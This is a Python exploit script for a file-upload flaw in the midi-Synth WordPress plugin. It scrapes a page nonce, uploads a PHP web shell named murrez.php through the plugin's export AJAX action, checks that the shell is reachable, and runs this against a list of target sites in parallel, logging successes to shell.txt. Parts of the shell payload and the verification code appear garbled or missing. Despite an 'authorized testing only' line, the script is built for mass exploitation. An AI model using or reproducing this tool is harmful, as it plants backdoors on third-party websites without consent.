#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ midi-Synth (WordPress) CVE-2026-1306 list runner: export AJAX writes under sound/ then runs conversion; early wp_die() on bad API key leaves the file (no cleanup). Nonce is printed in frontend JS when [midiSynth] shortcode is present on a page. ASCII-only for portability (PEP 263). Authorized security testing only. """ import base64 import re import sys import threading from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional from urllib.parse import urlparse import requests import urllib3 urllib3.disable_warnings() HEADERS = {"User-Agent": "Mozilla/5.0"} SHELL_NAME = "murrez.php" SHELL_CONTENT = ( "" "
" "
" ) AJAX_ACTION = "export" PLUGIN_SOUND_PATH = "/wp-content/plugins/midi-synth/sound/" NONCE_RE = re.compile( r'var\s+midiSynth_nonce\s*=\s*"([a-zA-Z0-9_-]+)"', re.IGNORECASE, ) def normalize_base_url(raw: str) -> str: """Force https:// origin only (no path). Accepts google.com, http://host, https://host/path.""" s = raw.strip() if not s: return "" low = s.lower() if not low.startswith(("http://", "https://")): s = "https://" + s.lstrip("/") elif low.startswith("http://"): rest = s[7:].lstrip("/") s = ("https://" + rest) if rest else "https://" p = urlparse(s) host = p.netloc if not host and p.path: host = p.path.split("/")[0].split("@")[-1] if not host: return "" return ("https://" + host).rstrip("/") def fetch_nonce(session: requests.Session, base_url: str, probe_paths: list) -> tuple: """Return (nonce, page_url_fetched) or (None, None).""" for path in probe_paths: path = path.strip() if not path: continue if not path.startswith("/"): path = "/" + path url = base_url.rstrip("/") + path try: r = session.get(url, headers=HEADERS, verify=False, timeout=20) if r.status_code != 200: continue m = NONCE_RE.search(r.text) if m: return m.group(1), url except requests.RequestException: continue return None, None def exploit_target(target_url: str, probe_paths: list) -> Optional[str]: base = normalize_base_url(target_url).rstrip("/") ajax_url = f"{base}/wp-admin/admin-ajax.php" shell_url = f"{base}{PLUGIN_SOUND_PATH}{SHELL_NAME}" print(f" Attack on: {base}") session = requests.Session() print("[*] Fetching midiSynth_nonce (page must include [midiSynth] shortcode)...") nonce, src_page = fetch_nonce(session, base, probe_paths) if not nonce: print( "[-] nonce not found. Try --paths with URLs that embed the shortcode " "(e.g. /, /your-midi-page/).\n" ) return None print(f"[+] Nonce: {nonce} (from {src_page})") file_midi_b64 = base64.b64encode(SHELL_CONTENT.encode("utf-8")).decode("ascii") data = { "action": AJAX_ACTION, "nonce": nonce, "masterAPIkey": "", "fileMidi": file_midi_b64, "fileName": SHELL_NAME, "fileSize": "1", "formatAudio": "mp3", "modeAudio": "stereo", "codecAudio": "aac", "frequencyAudio": "48000", "resolutionAudio": "16", "bitrateAudio": "128", } print("[*] POST export (expect API failure -> file left in sound/)...") try: r = session.post(ajax_url, data=data, headers=HEADERS, verify=False, timeout=45) print(f"[*] HTTP {r.status_code} | body (trunc): {r.text[:400]!r}") except requests.RequestException as e: print(f"[-] POST error: {e}\n") return None try: vr = session.get(shell_url, headers=HEADERS, verify=False, timeout=15) body = vr.text or "" if vr.status_code == 200 and (" [--paths /,/blog/midi/]", file=sys.stderr) print("Example: python3 CVE-2026-1306.py wordpress.txt", file=sys.stderr) sys.exit(2) list_path = argv[0] try: with open(list_path, "r", encoding="utf-8", errors="replace") as f: targets = [] for line in f: line = line.strip() if not line or line.startswith("#"): continue u = normalize_base_url(line) if u: targets.append(u.rstrip("/")) except FileNotFoundError: print(f"File not found: {list_path}", file=sys.stderr) sys.exit(1) print(f"[+] List: {list_path} - {len(targets)} targets") print(f"[+] Probe paths: {probe_paths}\n") successful = [] file_lock = threading.Lock() def target_worker(target): hit = exploit_target(target, probe_paths) if hit: with file_lock: successful.append(hit) with open("shell.txt", "a", encoding="utf-8") as out: out.write(hit + "\n") return hit with ThreadPoolExecutor(max_workers=20) as executor: futures = [executor.submit(target_worker, t) for t in targets] for i, future in enumerate(as_completed(futures), 1): future.result() print(f"[{i}/{len(targets)}]") print(f"\n{'='*60}") print(f"[+] Total success: {len(successful)}/{len(targets)}") print(f"[+] Saved to shell.txt") print(f"{'='*60}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[!] Interrupted by user") sys.exit(0)